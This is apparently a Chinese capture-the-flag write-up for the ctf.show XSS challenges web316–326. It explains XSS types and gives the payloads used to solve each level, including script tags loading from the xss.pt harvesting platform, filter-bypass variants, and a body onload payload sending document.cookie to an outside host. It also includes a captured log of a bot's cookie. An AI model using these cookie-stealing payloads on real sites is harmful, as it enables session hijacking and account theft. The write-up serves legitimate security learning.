题目地址:https://ctf.show/challenges
写在前面:这些东西吧,看起来都挺难的,感觉难以下手(可能是我太菜了吧),不过说来说去还是需要自己动手,你不动手的话就一直不懂,自己实践了就会突然明白,哦,原来是这么回事,多少能学到点东西,知识是靠积累的,不要急于求成,慢慢的就会明白,懂的也越来越多,希望写下这篇东西对自己,对各位读者能有所帮助吧。
在这之前也不知道XSS是啥玩意,大概去搜集了点东西当知识储备吧,对这方面也不是很了解,希望看到的师傅们觉得哪里有错误能及时给我指正...(以下内容摘自百度)
什么是xss?
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
xss的危害
通过 document.cookie 盗取 cookie中的信息
使用 js或 css破坏页面正常的结构与样式
流量劫持(通过访问某段具有 window.location.href 定位到其他页面)
dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。
xss三种分类
1.反射型:
一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:
www.abc.com/?params=<script>alert(/hacked by bit/)</script>。
2.存储型:
这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
3.DOMXSS:
这种类型则是利用非法输入来闭合对应的html标签。
比如,有这样的一个a标签:
乍看问题不大,可是当$var的内容变为 ’ οnclick=’alert(/hacked by bit/) //,这段代码就会被执行。
web316
首先得找一个XSS平台:
推荐xss平台:https://xss.pt/xss.php http://xsscom.com/ , https://xss.pt/
注册,登录后创建项目,选择默认模块,一直点下一步。
然后就随便选个代码放到题目输入框中,这里我选的是经过一次url编码的:
%26lt%3B%2FtExtArEa%26gt%3B%26%23039%3B%26quot%3B%26gt%3B%26lt%3BsCRiPt%20sRC%3Dhttps%3A%2F%2Fxss.pt%2Frxab%26gt%3B%26lt%3B%2FsCrIpT%26gt%3B
输入到题目框刷新一下回到XSS平台,找到自己的项目,可以看到返回了flag
时间 接收的内容 Request Headers 操作
-折叠 2021-02-10 18:26:22
location : http://127.0.0.1/target.php?key=ctfshow_bot_key
toplocation : http://127.0.0.1/target.php?key=ctfshow_bot_key
cookie : PHPSESSID=jpgsf2q97fj60t695i8hjfvqjk; flag=ctfshow%7Bd530a8ac-7fb6-4b7e-9c70-0f8c149611d9%7D
opener :
HTTP_REFERER : http://127.0.0.1/target.php?key=ctfshow_bot_key
HTTP_USER_AGENT : Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
REMOTE_ADDR : 49.235.148.38
IP-ADDR :
再 将其url解码一下就得到了最终flag,这里显示的可能不太清处,知道是这么回事就行了,还是得自己实践噢。
web317-319
提示开始过滤了,实际上这些都是大同小异,过滤了就换个代码
317过滤了script
318过滤了img
在那些代码中找没有script和img的,一次不出来就多试几次
我用的是实体十六进制编码,返回了flag,需要url解码一次得到最终flag,你们自己可以多试试
319增加了过滤,我用的极限代码:<sCRiPt/SrC=//xss.pt/rxab>
web320-322
过滤了空格,好家伙,这个我刚开始试了好久,
后来发现用tab键可以代替空格,代码用上面的仍可。
web323-326
过滤了iframe
<body/**/onload=document.location='http://xxxx:5000?cookie='+document.cookie;>